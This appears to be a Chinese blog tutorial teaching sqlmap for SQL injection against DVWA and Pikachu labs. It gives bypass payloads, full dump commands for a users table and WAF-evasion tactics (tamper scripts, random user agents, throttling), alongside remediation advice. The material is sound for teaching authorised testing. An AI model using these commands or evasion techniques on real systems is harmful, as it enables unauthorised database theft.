
Sqlmap使用指南(手把手保姆版)很多接触Web安全的朋友第一次听说SQL注入大概率连带着听到一个名字——Sqlmap。我当年也这样装了Kali之后打开终端敲下第一句sqlmap -u http://xxx?id1然后盯着满屏的英语输出发呆。直到真正搞懂SQL注入的原理、知道每个参数背后到底在做什么才敢说这条命令是真的入了门。这一篇我想完完整整地把自己从零开始用Sqlmap的过程写下来包含原理、安装、基础命令、实战姿势、绕WAF思路以及我在靶场和授权测试中踩过的坑。不管你是CTF新手、安全爱好者还是刚开始接触渗透测试的人按照这篇文章一步步来基本能把Sqlmap用明白。先说好所有实战演示都基于DVWA、Pikachu这类本地靶场或者你有明确书面授权的测试目标。SQL注入是一种破坏性很强的漏洞类型拿它去测试非授权系统后果非常严重这一点咱们要有共识。1. 先搞懂SQL注入原理再碰Sqlmap——为什么工具再强也替代不了判断我第一次用Sqlmap的时候觉得这工具简直是一键日站神器。直到有一次在某个授权测试的目标上Sqlmap把所有payload都跑了一遍最后告诉我该参数不受注入影响但手工测试时我明明看到页面多个引号就会出现500错误。那时候我才意识到不理解原理工具给你返回任何结果你都不敢信。1.1 SQL注入到底是怎么发生的一个登录框引发的数据泄露先说人话。SQL注入本质上是程序把用户输入的内容直接拼接进了SQL语句里执行。你输入的东西被当作代码执行了而不是单纯的数据。举一个最典型的例子假设后端代码是这么写的?php $username $_POST[username]; $password $_POST[password]; $sql SELECT * FROM users WHERE username . $username . AND password . $password . ; $result mysqli_query($conn, $sql); ?你在用户名框里输入admin --拼出来的SQL就变成了SELECT * FROM users WHERE username admin -- AND password xxx--在MySQL里是注释符它会把后面所有的内容都注释掉。于是这条SQL实际上只校验了用户名admin密码校验被吃掉了。如果存在admin这个用户你就直接用空密码或者任意密码登录成功了。这就是论坛上常说的万能密码绕过的基本原理也是SQL注入最直观的入门案例。再深入一点注入的SQL语句可以通过UNION SELECT方式把其他表的数据带出来。比如你输入 UNION SELECT username, password FROM users -- 如果页面会把查询结果第一列和第二列展示出来你就能直接看到所有用户名和密码。这就是Sqlmap最常干的事——--dbs拉数据库列表、-D 库名 --tables拉表、-T 表名 --dump拉数据底层逻辑都是类似的。1.2 注入点的核心判断从单引号报错到布尔盲注的完整链路Sqlmap是自动化工具但判断这个参数是不是注入点的思路还是得靠手工思维。一般的判断链路是这样加单引号试错在参数值后面加一个看页面是否报错、是否返回异常。如果原本正常页面变成SQL语法错误说明参数很可能进入了SQL语句。逻辑判断加and 11看页面正常加and 12看页面异常或不返回数据。两者结果不同说明我们输入的SQL逻辑影响了查询结果这就是典型的布尔注入特征。报错信息观察有些数据库配置了错误回显直接能看到具体的SQL片段。这种叫报错注入效率最高也最容易验证。时间盲注如果页面啥都不回显就用sleep(5)这类函数看响应时间是否明显变长。我见过不少新手拿到Sqlmap就直接--dbs结果跑了很久出不来东西然后回来问我为什么。一问才知道那个注入点是POST请求里的JSON参数Sqlmap默认只测GET参数和普通表单参数它根本没测对地方。所以理解注入点在哪、什么类型比会敲Sqlmap命令重要得多。工具只是放大器判断力才是核心。2. 环境准备与安装从Python环境到Git拉取最新版Sqlmap全流程Sqlmap是用Python写的开源工具官方仓库在GitHub。它的更新频率很高因为SQL注入的绕过技巧、数据库版本的特性变化都在演进用老版本有时候识别不出新的注入场景。所以我的建议很明确别用Kali自带的老版本也别去某度搜一个所谓的汉化版下载直接Git拉官方源。2.1 环境要求与安装步骤Sqlmap对Python版本的要求是3.6。现在Kali自带的就是Python 3环境Windows上装个Python 3.9/3.11也行。macOS用户直接brew install python即可。安装过程很简单终端操作# 1. 拉取最新源码你的路径随意比如放 ~/tools 下 git clone https://github.com/sqlmapproject/sqlmap.git克隆完成后进入目录就能直接用了cd sqlmap python sqlmap.py --version能输出版本号说明环境没问题。当前新版输出大概长这样___ __H__ ___ ___[]_____ ___ ___ {1.8.4#stable} |_ -| . [] | .| . | |___|_ [.]_|_|_|__,| _| |_|V... |_| https://sqlmap.org看到这个忍者神龟一样的ASCII标就算安装成功了。注意运行入口是python sqlmap.py不是在终端里直接敲sqlmap除非你手动把它软链到了/usr/local/bin。很多新手在Kali上装了新版之后直接敲sqlmap发现还是老版本——因为Kali自带的那个是可执行脚本已经被放到环境变量里了而Git拉的源码包还在你当前的目录里。如果你确实想全局调用新版可以做软链接sudo ln -s ~/tools/sqlmap/sqlmap.py /usr/local/bin/sqlmap之后就能直接敲sqlmap命令了。不过我做测试的时候还是习惯进到源码目录里用python sqlmap.py因为这样能确定用的就是当前目录这一份不会指向奇怪的位置。2.2 安装完先别急着跑把这几个内置能力记住Sqlmap自带了一些实用功能我挑出常用的几个说明一下python sqlmap.py -h查看帮助文档全部参数列表。英文多的不用慌核心就是那几十个。python sqlmap.py -hh显示更详细的帮助每个参数会多给一些说明示例。python sqlmap.py --version查看版本。python sqlmap.py --update从Git自动更新到最新版。启动时加--update即可它自己会拉远程代码。我个人的习惯是每做一批测试前先执行一次--update因为上游的tamper脚本和payload库更新很快尤其是绕WAF的插件隔一段时间就有新东西。你说你是做防御的也好做攻防演练的也好保持工具新鲜总没错。3. 保姆级基础实战从命令参数到一次完整的GET注入这一节我用DVWA靶场来演示。DVWA的SQL Injection模块默认情况下要求登录后才能操作而且分为Low、Medium、High三个安全等级。我们以Low等级为例演示最朴素的GET注入。3.1 参数拆解理解每一条参数到底在告诉工具做什么先看一条最基础的命令别急着复制我要逐段拆解python sqlmap.py -u http://127.0.0.1/dvwa/vulnerabilities/sqli/?id1SubmitSubmit \ --cookie PHPSESSID你的会话ID; security_level0 \ --batch \ --dbs拆开讲-u指定目标URL。尽量带上完整的参数包括id1这种值。Sqlmap会拿这个位置作为注入测试的锚点。--cookie这是很多靶场和真实站点都需要的。DVWA不登录根本不让你访问漏洞页面登录后的身份信息存在Cookie里你必须把浏览器里的Cookie原样复制过来伪装成已登录用户。你可以在浏览器开发者工具→ Network → 请求头里找到Cookie字段。--batch让Sqlmap跑批处理模式所有需要交互确认的地方自动选默认项。新手跑的时候总会被各种问题打断什么检测到可能的WAF要继续吗需要大量请求确定--batch就是告诉你我全都要闭眼跑。--dbs枚举数据库列表。相当于在拿到注入点之后第一步探查目标后端DBMS有哪些数据库。--batch其实有一个隐患它默认忽略WAF检测所有问题都回答YES。如果目标真有WAF可能会把你IP封掉。但靶场环境用--batch毫无压力真实测试则需要谨慎。3.2 从数据库列表到表数据一次完整的GET注入演示我的实际操作流程如下。先跑--dbsSqlmap在几秒钟内会做以下几件事检测注入点是否存在先发大量探测请求。识别后端数据库类型比如MySQL、SQL Server、Oracle。判断注入类型布尔盲注、报错注入、时间盲注等。针对识别出的数据库类型做指纹识别。枚举数据库列表。DVWA的Low等级默认用户可以访问到information_schema这些系统库。跑完--dbs你能看到类似这样的输出available databases [2]: [*] information_schema [*] dvwa拿到库名dvwa之后下一步拉表python sqlmap.py -u http://127.0.0.1/dvwa/vulnerabilities/sqli/?id1SubmitSubmit \ --cookie PHPSESSID你的会话ID; security_level0 \ -D dvwa \ --tables注意这里用了-D指定数据库名。跑完之后你会看到users表之类的结果列表。再下一步把users表的数据全部拉出来python sqlmap.py -u http://127.0.0.1/dvwa/vulnerabilities/sqli/?id1SubmitSubmit \ --cookie PHPSESSID你的会话ID; security_level0 \ -D dvwa \ -T users \ --dumpSqlmap默认会把密码的Hash也拉出来如果你指定了--dump它还可能会尝试用自带的字典在线破解弱密码Hash。在旁边看着它一只只解密出来你就能真正体会到什么叫数据裸奔。3.3 参数等级Level和Risk到底怎么加什么时候能加老手和新手的区别往往看两个参数--level和--risk。--level1~5控制测试的深度和覆盖面。等级越高注入类型测的越多比如LEVEL3时才会测试User-Agent、Referer等HTTP头部的注入点LEVEL5还会测Host头等更冷门的位置。--risk1~3控制payload的风险程度。RISK2会增加大量基于时间的盲注语句RISK3会尝试OR型注入这种语句可能造成数据被全量修改或删除非常危险。我默认的实测配置是python sqlmap.py -u 目标URL?id1 --cookie xxx --level3 --risk2 --batch为什么不是拉满到--level5 --risk3因为每提升一级请求量和误报率都会成倍增加。在授权的系统上跑测试你发出去的请求本身就可能触发风控太高强度的探测会带来不必要的麻烦。在靶场上你可以尽情拉满但在真实测试环境level3 risk2是我个人推荐的平衡点。4. 进阶场景实测POST表单、Cookie注入和JSON接口怎么跑通大量的真实业务场景并不是你在URL里加个?id1就完事的。登录框、搜索框、JSON API才是注入的高发区。Sqlmap处理这些场景有一整套对应姿势。4.1 POST表单注入从浏览器复制请求包到-r参数很多人卡在第一个问题Sqlmap直接-u一个登录页的地址完全测不到东西。因为SQL注入在用户名参数里而用户名是T通过POST请求体发送的-u默认只测URL里的GET参数。两种方式解决方式一用--data指定POST参数python sqlmap.py -u http://127.0.0.1/pikachu/vul/sqli/sqli_str.php \ --data nameadminsubmit查询 \ --cookie PHPSESSIDxxx \ --batch--data后面的值就是POST请求体里的参数。Sqlmap会重点测试nameadmin这个参数值。方式二用BurpSuite抓包保存请求包再用-r直接喂给Sqlmap推荐我之后做任何POST测试几乎都是先开BurpSuite抓包。在浏览器里输入要测的参数Burp把完整请求包截下来右键选择Copy to file存成req.txt然后python sqlmap.py -r req.txt --batch-r参数意味着Sqlmap会完整解析这个请求包里的所有信息请求行、请求头、Cookie、POST体。你会发现这种方式最省心因为不需要手工去处理Cookie、Content-Type这些信息工具能识别得原封不动。如果你没有Burp也可以自己在文本编辑器里照着下面这样写一个请求包POST /pikachu/vul/sqli/sqli_str.php HTTP/1.1 Host: 127.0.0.1 Cookie: PHPSESSIDabc123 Content-Type: application/x-www-form-urlencoded nameadminsubmit查询保存为req.txt效果是一样。4.2 表单自动抓取--forms参数能不能省事有些朋友不想手动抠参数说我就是想在页面上随便点个查询让Sqlmap自动发现表单。那就要用--formspython sqlmap.py -u http://127.0.0.1/pikachu/vul/sqli/ \ --forms \ --cookie PHPSESSIDxxx \ --batch它会解析目标页面里的form标签自动把表单里的字段作为注入测试点。但是我用下来有一个感受--forms适合页面结构简单、表单数量少的场景。一旦页面上有多个表单或者表单里有大量的select、radio这种控件自动抓取经常抓不准。新手最好先学会手动-r这是可控性最强的方案--forms可以后面再玩。4.3 JSON接口怎么测Content-Type是难点现在很多前后端分离的项目接口走POST /api/login请求体是一串JSON{username: admin, password: 123456}直接用--data传usernameadminpassword123456是无效的因为后端按JSON解析你传表单格式人家根本不认。正确做法是抓包后用-r喂请求包请求包里带着Content-Type: application/json字样Sqlmap看到之后会自动用JSON格式的payload去替换测试。如果你用--data--headers的方式可以这样python sqlmap.py -u http://目标/api/login \ --data {username: admin, password: 123456} \ --headers Content-Type: application/json \ --batch但说实话-r还是最稳的。因为有时候除了Content-Type还有一堆Token、签名头--headers写起来又臭又长直接抓包最不容易出错。4.4 Cookie注入场景别只盯着请求体Cookie里如果存了useradmin这种参数后端拿它拼SQL那这就是一个标准的注入点。Sqlmap处理Cookie注入的方式是python sqlmap.py -u http://目标/index.php \ --cookie useradmin; PHPSESSIDabc \ --level2 \ --batch注意默认的--level1并不会测试Cookie参数必须把--level提到2以上Sqlmap才会把Cookie里的字段当作测试对象。这也是初学者很容易漏掉的一个点。真实渗透中Cookie注入特别容易被忽略但它的破坏力一点都不比GET参数小尤其是那些用Cookie存用户名的老系统在授权测试时常能捞到东西。5. 绕过与效率WAF对抗和Tamper脚本的选择你在靶场里跑得顺风顺水一到真实目标上就发现Sqlmap跑不动了不是请求超时就是报检测到可能存在的WAF。这个阶段就要开始学WAF对抗了。5.1 为什么直接跑会报错先识别WAF类型再谈绕过Sqlmap内置了WAF指纹识别功能。跑目标的时候如果检测到WAF会在输出里提示[!] WAF/IPS/IDS detected: Cloudflare (Cloudflare Inc.)看到这个别慌也别直接跳过。正确的处理顺序是我自己的经验先确认WAF类型。上面那行提示已经告诉你了。查一下这个WAF常见拦截规则。Cloudflare这类是比较常见的规则比较通用国内有些安全狗、安全卫士之类的东西规则往往更杂。决定绕过策略是减少请求频率、改变指纹还是用tamper脚本改写payload。一个很常见的错误是新手一看到WAF提示马上加--skip-waf把检测关掉然后继续硬跑。这等于把一个警告直接吞了最后的结果就是IP被WAF封掉目标彻底打不进去。--skip-waf应该在你确认目标其实不是真WAF、只是某种软WAF或者CDN且你有把握的情况下才用。5.2 Tamper脚本Sqlmap改写payload的秘密武器Tamper脚本的作用就是在原始payload发送之前按照脚本里的规则改写一遍让它尽量不触发WAF的签名规则。举几个最常用的Tamper脚本作用适用场景space2comment把空格替换为/**/注释符绕过基于空格检测的简单WAFspace2plus把空格替换为号部分URL编码场景between把替换为BETWEEN ... AND绕过等号匹配规则base64encode把payload整体base64编码目标支持base64传参时charencodeURL编码全部字符躲避简单关键字匹配modsecurity生成ModSecurity专攻payload针对ModSecurity规则集使用方式python sqlmap.py -u 目标URL?id1 \ --tamperspace2comment \ --batch多个脚本可以用逗号连起来python sqlmap.py -u 目标URL?id1 \ --tamperbetween,charencode \ --level5 --risk3 --batch但是tamper不是随便加的。脚本加多了会导致payload变得特别长、特别怪很容易触发另一个规则绕过反而成了活靶子。我的实用建议是每加一个脚本先跑一个小范围测试看结果比如先跑--current-db如果这个测试都过不了别指望后面能顺利dump数据。另外别忘了一个基础操作加--random-agent把默认的User-Agent头换成随机值。很多WAF会拦截Sqlmap的默认UA换成普通浏览器UA能减少很多摩擦。5.3 限速与代理让扫描动作不那么像机器真实目标上Sqlmap一秒几十个请求这是典型的人型自走扫描器特征。为了降低触发概率我常用的参数组合是python sqlmap.py -u 目标URL?id1 \ --delay2 \ --random-agent \ --timeout15 \ --retries1 \ --batch参数说明--delay2每两个请求之间间隔2秒。--timeout15请求超时15秒。--retries1请求失败重试1次。跑得慢是慢了点但胜在稳。攻防演练里很多队伍就是被对方WAF记录流量后反制的。慢其实是对自己的一种保护。6. 实战验证与防御如何确认注入点真正可利用以及漏洞怎么修很多人把Sqlmap跑出数据当成终点但在我眼里真正的专业程度是能跑出数据也能说明白为什么能跑出数据还能给出修复方案。6.1 验证注入的四种方法实际操作中拿到一个疑似注入点我是按这个顺序做验证的页面差异验证?id1和?id1 and 11返回正常?id1 and 12返回异常或空白。这是最经典的布尔验证。时间函数验证?id1 and sleep(5)。如果页面磕磕绊绊5秒后才加载完说明sleep(5)被执行了。这个方法适合页面完全没回显的场景。报错信息验证?id1触发数据库语法错误页面上出现SQL片段。有报错回显的站点简直是天赐的注入点直接往报错注入方向测。联合查询验证?id-1 union select 1,2,3如果页面上出现了2、3这些数字说明字段位卧底成功可以接着往出拖数据了。我强调一点Sqlmap给出的存在注入结论一定要手工再验证一次。因为自动化工具偶尔会产生误报尤其是在有WAF干扰的情况下。你拿着一个手工验证过的注入点做报告在报告评审时底气完全不同。6.2 SQL注入防护三板斧参数化查询、白名单过滤、最小权限跑到最后得把视线拉回防御端。如果你是被测系统的所有者按下面三层来修基本可以把注入堵死。第一板斧参数化查询PreparedStatement。这是最根本的办法。把SQL模板提前编译好用户输入只作为参数传入永远不参与SQL语句拼接。拿Java举例String sql SELECT * FROM users WHERE username ? AND password ?; PreparedStatement ps conn.prepareStatement(sql); ps.setString(1, username); ps.setString(2, password);Python的Django ORM、PHP的PDO预处理原理都一样。这一招能让90%的注入漏洞直接消失。第二板斧输入白名单校验。像id这类参数后端直接强校验必须是数字。你传1过来解析阶段就直接被拒绝。白名单永远比黑名单可靠因为黑名单要去猜攻击者怎么绕永远猜不完。第三板斧数据库权限最小化。Web应用连数据库不要用root账号用一个只有SELECT INSERT UPDATE DELETE权限的低权限账号同时给这个账号只开放业务库的访问权。即使SQL注入发生了攻击者也只能在权限范围内捣乱拿不到系统库和文件系统权限。这三层配合起来覆盖的场景已经非常广。我在给团队做审查的时候基本就用这三条标准来衡量SQL层的健壮程度。7. 常见报错与排查思路最后这部分是我自己跑Sqlmap过程中遇到最多的高频报错和解决方案直接列出来你对号入座就行。7.1 高频报错与解决办法报错/现象常见原因解决办法connection timed out目标网络不稳定或请求频率过高被限制加--delay2 --timeout20 --retries2unable to connect to the target URLURL写错、Cookie失效、目标拒绝访问用浏览器确认URL可访问检查Cookie是否过期no parameter(s) found for testing你给的URL/请求体里没有可测参数或参数被WAF剥了检查--data是否正确、Cookie是否正确、--level3再试URI parameter #1 is not injectableSqlmap测了但没注入成功手工确认是否真的有注入点可能是参数位置不对too many requests目标有反爬/限流加重延迟降低--level/--risk必要时用代理池python: command not found环境变量没配好Windows下用pythonLinux下用python3确认Python已安装中文页面乱码/结果为乱码编码问题加--charsetUTF-8或--encodinggb2312视目标情况而定7.2 我的实操建议与注意事项换Python环境时注意依赖Sqlmap是纯Python脚本基本不需要第三方库唯一需要注意的是Python 2环境跑新版会报语法错误。现在都2025年了别再用老掉牙的Python 2了。跑之前先确认目标可达我会先用curl -I看看目标返回状态码。如果目标都挂了后面一切白搭。不要动不动就拉满参数--level5 --risk3听起来很猛但放到真实环境里它会把你能想到的、想不到的payload全部发射一遍误报率、触发率、请求量都会飙高。除非你在靶场或者明确授权的环境否则别轻易拉满。做好请求日志留痕攻防演练或授权测试时我会在跑之前加一个--output-dir/tmp/sqlmap_log把所有请求和响应保存下来。后面写报告、复盘、跟防守方掰扯流量分析都有据可查。每次扫描从最小范围开始先--current-user、--current-db确认连通性和权限再决定要不要继续深挖。一上来就--dump-all不仅慢还容易在权限不足时浪费时间。7.3 持续更新计划这篇文章既然是保姆级的持续更新贴我后续会按照下面的节奏补充内容Sqlmap的参数全解系列、常见数据库指纹识别细节、跟BurpSuite联动的进阶玩法、针对具体WAF产品的绕过案例分析、以及Sqlmap在API接口自动化测试中的应用实践。如果你在实操中遇到什么奇怪的现象也欢迎留言我会挑典型的场景补进文章里。最后说一句个人体会安全工具这东西永远是越用越熟的。我见过有人把Sqlmap每一个参数都背下来但真到靶场里还是跑不出东西也见过有人只记五六个参数但每次都能在正确的场景里用出效果。参数背得再熟不如亲手在靶场上把每一个场景都跑一遍。多动手、多琢磨报错原因比收藏一百篇教程都有用。